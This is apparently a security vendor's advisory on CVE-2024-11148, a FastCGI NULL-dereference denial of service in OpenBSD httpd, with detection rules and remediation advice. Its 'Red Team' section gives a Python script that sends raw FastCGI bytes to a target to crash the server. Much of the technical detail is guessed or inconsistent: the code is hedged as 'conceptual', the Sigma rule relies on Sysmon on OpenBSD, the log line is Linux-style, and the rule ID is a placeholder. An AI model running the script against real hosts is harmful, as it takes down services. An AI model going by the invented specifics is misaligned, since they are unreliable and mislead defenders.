CVE-2024-11148

Executive Summary

CVE-2024-11148 is a denial-of-service (DoS) vulnerability in OpenBSD's httpd(8) server, specifically within its FastCGI request handling. A remote, unauthenticated attacker can trigger a NULL pointer dereference by sending a malformed FastCGI request, causing the httpd process to crash. This leads to a temporary service outage, impacting availability. The vulnerability affects OpenBSD 7.4 before errata 006 and OpenBSD 7.3 before errata 020. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released patches via errata.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete service disruption.

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, leading to a complete denial of service. While no active exploitation is reported, the low complexity and network attack vector make it a significant risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in OpenBSD's httpd(8) server when processing FastCGI requests. FastCGI is a protocol for interfacing web servers with application servers (e.g., PHP-FPM). The httpd server parses incoming FastCGI records, which consist of a header and optional data.

The NULL pointer dereference occurs when httpd receives a malformed FastCGI request. Specifically, if the request lacks expected parameters or contains invalid data, the server attempts to access a pointer that has not been properly initialized or has been set to NULL. This results in a segmentation fault, crashing the httpd process.

The crash is triggered during the parsing of the FastCGI PARAMS record. If the CONTENT_LENGTH or other critical parameters are missing or malformed, the code path leads to a NULL pointer dereference. The vulnerability is in the fcgi_parse_params() function or similar, where a pointer to a parameter value is dereferenced without a NULL check.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the FastCGI parameter parsing logic. A simplified representation:

Vulnerable Code (Conceptual):

void fcgi_parse_params(struct fcgi_request *req) {
    char *content_length = fcgi_get_param(req, "CONTENT_LENGTH");
    // Missing NULL check
    int len = atoi(content_length); // Dereference NULL if param missing
    // ... further processing
}

Patched Code (Conceptual):

void fcgi_parse_params(struct fcgi_request *req) {
    char *content_length = fcgi_get_param(req, "CONTENT_LENGTH");
    if (content_length == NULL) {
        // Handle missing parameter gracefully
        return;
    }
    int len = atoi(content_length);
    // ... further processing
}

The patch adds a NULL check before dereferencing the pointer, preventing the crash.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Crash the httpd service remotely.

Prerequisites:

• Target running OpenBSD 7.3 or 7.4 with httpd(8) enabled and FastCGI configured.
• Network access to the httpd port (typically 80 or 443).

Exploit Steps:

1. Craft a Malformed FastCGI Request: Create a raw TCP packet that sends a FastCGI BEGIN_REQUEST record followed by a PARAMS record with missing or invalid parameters. For example, omit the CONTENT_LENGTH parameter.
2. Send the Request: Use a tool like netcat or a custom Python script to send the crafted packet to the target server.
3. Observe Crash: The httpd process will crash, resulting in a "Connection refused" error for subsequent legitimate requests.

Example Python Script (Conceptual):

import socket

def send_malformed_fastcgi(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # FastCGI BEGIN_REQUEST record
    begin_request = b"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x00\x00\x00"
    # FastCGI PARAMS record with missing CONTENT_LENGTH
    params = b"\x01\x04\x00\x01\x00\x00\x00\x00"
    sock.send(begin_request + params)
    sock.close()

# Usage: send_malformed_fastcgi("target_ip", 80)

Blue Team (Defense & Detection)

Detection:

• Monitor httpd logs for crashes or segmentation faults.
• Use system monitoring tools to detect httpd process restarts.
• Implement network intrusion detection rules (see Suricata rule below).

Mitigation:

• Apply the official OpenBSD errata patches immediately.
• Restrict network access to the httpd service using firewalls.
• Implement rate limiting to reduce the impact of repeated attacks.
• Use a Web Application Firewall (WAF) to filter malformed FastCGI requests.

Indicators of Compromise (IOCs)

• Log Entries: httpd: segfault at ... ip ... sp ... error 4 in /var/log/messages or dmesg.
• Process Behavior: Unexpected restart of the httpd process.
• Network Traffic: FastCGI requests with missing or malformed PARAMS records.
• File Hashes: No specific file IOCs; the vulnerability is in the running binary.

Detection Engineering

YARA Rule

rule CVE_2024_11148_OpenBSD_httpd_NULL_Deref {
    meta:
        description = "Detects potential exploitation of CVE-2024-11148 in OpenBSD httpd"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11148"
    strings:
        $fcgi_params = "FCGI_PARAMS" nocase
        $null_deref = { 48 8b 45 ?? 48 85 c0 74 ?? } // Example: mov rax, [rbp+xx]; test rax, rax; je ...
    condition:
        $fcgi_params and $null_deref
}

Sigma Rule

title: OpenBSD httpd NULL Pointer Dereference (CVE-2024-11148)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects httpd crashes indicative of CVE-2024-11148 exploitation
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11148
logsource:
    product: openbsd
    service: httpd
detection:
    selection:
        EventID: 7  # Sysmon process terminated
        Image: '/usr/sbin/httpd'
        ExitCode: 139  # SIGSEGV
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2024-11148 OpenBSD httpd NULL Dereference Attempt"; flow:to_server; content:"|01 01 00 01 00 08 00 00|"; fast_pattern; content:"|01 04 00 01|"; distance:0; within:4; reference:cve,2024-11148; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply Patches: Immediately update OpenBSD to the latest errata:
   • For OpenBSD 7.4: Apply errata 006.
   • For OpenBSD 7.3: Apply errata 020.
   • Use syspatch or manually download and apply the patch from the OpenBSD website.
2. Workarounds:
   • Disable FastCGI support in httpd if not required.
   • Use a reverse proxy (e.g., Nginx) in front of httpd to filter malformed requests.
3. Monitoring: Enable detailed logging for httpd and monitor for crashes.
4. Network Segmentation: Restrict access to the httpd service to trusted networks only.

Valters IT
Securing Digital Frontiers